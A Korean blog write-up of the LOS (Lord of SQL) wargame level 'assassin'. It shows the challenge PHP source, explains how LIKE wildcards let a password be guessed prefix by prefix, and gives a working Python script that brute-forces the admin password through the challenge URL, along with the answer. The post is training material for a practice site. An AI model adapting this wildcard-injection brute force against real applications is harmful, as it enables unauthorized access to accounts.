LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트는 Giant에 이어 Assassin 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
Assassin은 Giant에서 사용했던 머리를 다시금 굴려야 한다는 걸 알려주는 준비운동 문제가 아닌가 싶습니다.
|
문제 이해 |
문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.
<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("assassin"); highlight_file(__FILE__); ?>
위의 문제에서 5번 라인에서는 싱글쿼터를 사용할 수 없습니다. 무조건 like 안에 있는 %를 추측하라는 의미입니다.
Like문은 % 혹은 _를 통해 뒤에 올 문자가 몇 개든 어떤 것이든 상관없이 맞는 결과가 있다면 다 출력하도록 되어 있습니다.
즉, 만약 비밀번호가 '90d2f'라면 like 90%까지만 입력해도 MySQL에 90으로 시작하는 비밀번호를 가진 계정을 모두 출력해야겠군..! 하면서 출력된다는 것입니다.
그렇다면 차근차근 브루투포싱을 시작해야하는데... 사람 손으로 하기에는 경우의 수가 너무 많습니다.
코드가 필요합니다.
|
문제 풀이(코드) |
제 나름대로 브루투포싱을 하는 코드를 작성해보았습니다.
코드 작성은 다음과 같은 원리를 이용했습니다.
한 글자 + %로 Hello guest 혹은 Admin이 나오는 것을 확인했습니다.
그렇게 첫 번째 문자를 알아내고, 알아낸 문자를 이용하여 한 글자씩 늘려가서 다음 글자를 찾아내도록 하였습니다.
물론 여기서는 %와 _ 문자는 필터링하여 그외의 문자들로만 검색할 수 있도록 하였습니다.
import requests requests.packages.urllib3.disable_warnings() sess = requests.session() URL = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=' headers = {'Cookie': 'PHPSESSID=4jj7vger48nj1hkalc5vcd4oi6'} # ============================================================== # Init Answers Answer = [] Answer_chr = '' Done = False for i in range(0, 129): payload = chr(i) + "%" res = sess.get(url=URL+payload, headers=headers, verify=False) if chr(i) != '%' and chr(i) != '_': if 'Hello guest' in res.text: Answer.append(chr(i)) else: pass print('[=] Find Init Words : ', Answer) while not Done: tmpList = [] for j in Answer: for i in range(0, 129): payload = j + chr(i) + "%" res = sess.get(url=URL+payload, headers=headers, verify=False) if chr(i) != '%' and chr(i) != '_': if 'Hello guest' in res.text: tmpList.append(j + chr(i)) elif 'Hello admin' in res.text: print('[=] Find Last Answer : ', payload) Done = True break else: pass if not Done: print('[=] Current Status : ', tmpList) Answer = tmpList
이 소스를 실행시키면, 한 문자를 알아내기 위해 128번씩 반복해서 패킷을 전송하여 응답 결과를 비교하게 됩니다.
만약 admin이 나타나게 되면 멈추도록 하였습니다.
결과는 다음과 같이 나왔습니다.
[=] Find Init Words : ['9']
[=] Current Status : ['90']
[=] Find Last Answer : 902%
답은 902%가 되겠습니다.
'WARGAMES > LOS(rubiya)' 카테고리의 다른 글
[LOS - Lord Of SQL] Level 19 - xavis (0) | 2019.04.05 |
---|---|
[LOS - Lord Of SQL] Level 18 - nightmare (1) | 2019.04.04 |
[LOS - Lord Of SQL] Level 17 - succubus (0) | 2019.03.28 |
[LOS - Lord Of SQL] Level 16 - zombie_assassin (0) | 2019.03.28 |
[LOS - Lord Of SQL] Level 14 - giant (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 13 - bugbear (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 12 - darkknight (0) | 2019.03.27 |
[LOS - Lord Of SQL] Level 11 - golem (0) | 2019.03.27 |